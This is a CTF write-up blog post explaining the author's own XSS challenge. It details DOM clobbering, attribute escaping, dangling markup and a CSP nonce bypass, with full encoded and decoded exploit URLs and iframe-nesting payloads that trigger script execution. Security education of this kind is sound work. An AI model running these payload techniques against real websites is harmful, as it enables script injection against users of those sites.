Clobbering the clobbered vol. 2

Write-up based on “simple” XSS challenge by @terjanq

terjanq
terjanq
Dec 27, 2019 · 3 min read

In my previous write-up about DOM Clobbering, I presented a solution to an XSS challenge that involved overriding a CONFIG variable via the mentioned technique. I recommend checking the article out since I will not be explaining the basics of the method but rather diving deeper into different but helpful techniques.

The challenge

In the challenge that I posted on Twitter recently, a simple one-page website was given. The goal was clear — pop out an alert on easyxss.terjanq.me domain.

Three main functionalities were embedded into the website:

  1. Displaying sanitized by DOMPurify HTML code via ?safe=html_code parameter.
  2. Embedding user’s unsafe code in iframes with src pointing to sandbox.terjanq.me domain via ?safe=<iframe>unsafe</iframe> parameter.
  3. Loading custom image src via ?img=cats.gif paramater.
  4. Displaying randomly created session string when certain conditions are met:
if (is_trusted() && url.searchParams.get('show_session') != null) {                       setTimeout(window.show_session, 1000);
}

Full code of the challenge:

Content-Security-Policy

CSP was set to script-src ‘nonce-1337’ ‘unsafe-eval’; frame-src ‘self’ sandbox.terjanq.me.

  • The first one means that no inline events like onclick can be executed and scripts to be executed must include the nonce=1337 attribute.
  • The latter means that iframes can only be included in easyxss.terjanq.me and sandbox.terjanq.me domains.

Rest of the CSP rules did not have a deeper meaning rather than making sure that only the above conditions are met.

Vulnerabilities

Although the challenge seemed to be ultra-compact each line had its own purpose meaning that you could find a lot of vulnerabilities in the challenge. All vulnerabilities I know of are listed below:

  1. DOM Clobbering through DOMPurify sanitizer document.write(safe_dom.innerHTML).
  2. Escaping the src= context in the <img> via " character.
  3. Clobbering document variables through name=variable in the <img>.
  4. Dangling markup in <img> allows invalidating /* config.js */ script.
  5. Scripts were split into smaller pieces on purpose — it’s easier to invalidate unwanted parts of the code, like in the example above.
  6. It’s not widely known but setTimeout works like eval, therefore setTimeout(“alert(1)”) pops out an alert.
  7. In the /* trusted.js */ script it’s possible to make window.show_session undefined via name=cookie in the <img> while preserving the function is_trusted() defined.
  8. The function contains() is unsafely coded allowing many bypasses, e.g. 'undefined in window' returns true.
  9. Nested objects can be clobbered using stacked iframes.
  10. * document.cookie can be overridden from sandbox.terjanq.me.
  11. * When a page is loaded in an iframe, sandbox and allow can invalidate some parts of the code.

* unintended vulnerabilities but were not leading towards a solution.

The solution

Let’s start with the solution https://easyxss.terjanq.me/?show_session=&img=cats.gif%22name=cookie+x=%27&safe=%3Ca%20id=show_session%20href=cid:alert(/1337/)%3E%3C/a%3E%3Ciframe%3E%3Cscript%3Ewindow.name%3D%22CONFIG%22%3Blocation%3D%27%2F%2Feasyxss.terjanq.me%3Fsafe%3D%3Cform%20id%3Dtrusted%20name%3Duser%3E%3Cimg%20id%3Dreferer%20name%3Dreferers%3E%3Cimg%20name%3Dreferers%3E%27%3C%2Fscript%3E%3C%2Fiframe%3E that works on both Chrome and Firefox. This solution uses a trick presented by @shafigullin.

The decoded version looks like:

https://easyxss.terjanq.me/?
show_session=
&img=cats.gif"name=cookie x='
&safe=
<a id=show_session href=cid:alert(/1337/)></a>
<iframe>
<script>window.name="CONFIG";location="//easyxss.terjanq.me?safe=
<form id=trusted name=user>
<img id=referer name=referers>
<img name=referers>
"</script>
</iframe>

The above URL takes advantage of 9 vulnerabilities which I will explain step-by-step:

  1. Escaping the <img> context with " character in &img=, overriding document.cookie via name=cookie and therefore making the function show_session undefined while preserving is_trusted in its original form due to hoisting.
  2. Invalidating the /* config.js */ script through markup dangling in x=' and therefore making window.CONFIG undefined.
  3. Defining window.show_session through <a id=show_session href=cid:alert(/1337/)></a> element. It will pop out an alert in the setTimeout(show_session) function.
  4. Inserting an iframe on easyxss.terjanq.me with name CONFIG. This will create the window.CONFIG reference to the iframe, therefore CONFIG.trusted.referers and CONFIG.user.referer will both return the same element <img id=referer name=referers> and pass is_trusted check.
  5. Bypassing contains function with the code below as mentioned in 4.
<form id=trusted name=user>
<img id=referer name=referers>
<img name=referers>

It’s worth to note that 5. can be done in different ways as well:

<!-- this is only a draft how to construct objects, name will be stripped and needs to be defined through <script>name="CONFIG"</script> inside iframe -->
<iframe name=CONFIG>
<iframe name="user">
<a id="referer">
<a id="username">
</iframe>
<iframe name="trusted">
<a name="referers">
<a name="referers">
</iframe>
</iframe>

and

<!-- this is only a draft how to construct objects, name will be stripped and needs to be defined through <script>name="CONFIG"</script> inside iframe -->
<iframe name=CONFIG>
<iframe name="user"></iframe>
<iframe name="trusted">
<iframe name="referers">
</iframe>
</iframe>

The first one was my initial solution and works only on Chrome while the latter works on both Chrome and Firefox.

My original solution

https://easyxss.terjanq.me/?safe=%0A%3Ca+id%3Dshow_session+href%3Dcid%3Aalert%28%2F1337%2F%29%3E%3C%2Fa%3E%3Ciframe%3E%3Cscript%3Ewindow.name%3D%22CONFIG%22%3Blocation%3D%27%2F%2Feasyxss.terjanq.me%3Fsafe%3D%3Ciframe%3E%3Cscript%3Ewindow.name%3D%22user%22%3Blocation%3D%22%2F%2Feasyxss.terjanq.me%3Fsafe%3D%3Ca+id%3Dreferer+href%3Dhttps%3A%2F%2Fevil.com%3E%3Ca+id%3Dusername+href%3Dcid%3Aterjanq%3E%22%3C%5C%2Fscript%3E%3C%5C%2Fiframe%3E%3Ciframe%3E%3Cscript%3Ewindow.name%3D%22trusted%22%3Blocation%3D%22%2F%2Feasyxss.terjanq.me%3Fsafe%3D%3Ca+id%3Dreferers+name%3Dhttps%3A%2F%2Fevil.com%2F%3E%3Cp%3E%3Ca%3E%22%3C%5C%2Fscript%3E%3C%5C%2Fiframe%3E%27%3C%2Fscript%3E%3C%2Fiframe%3E&show_session=&img=cats.gif%22name%3Dcookie+x%3D%27

terjanq

Written by

terjanq

Security enthusiast that loves playing CTFs and hunting for bugs in the wild. Also likes to do some chess once in a while. twitter.com/terjanq

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade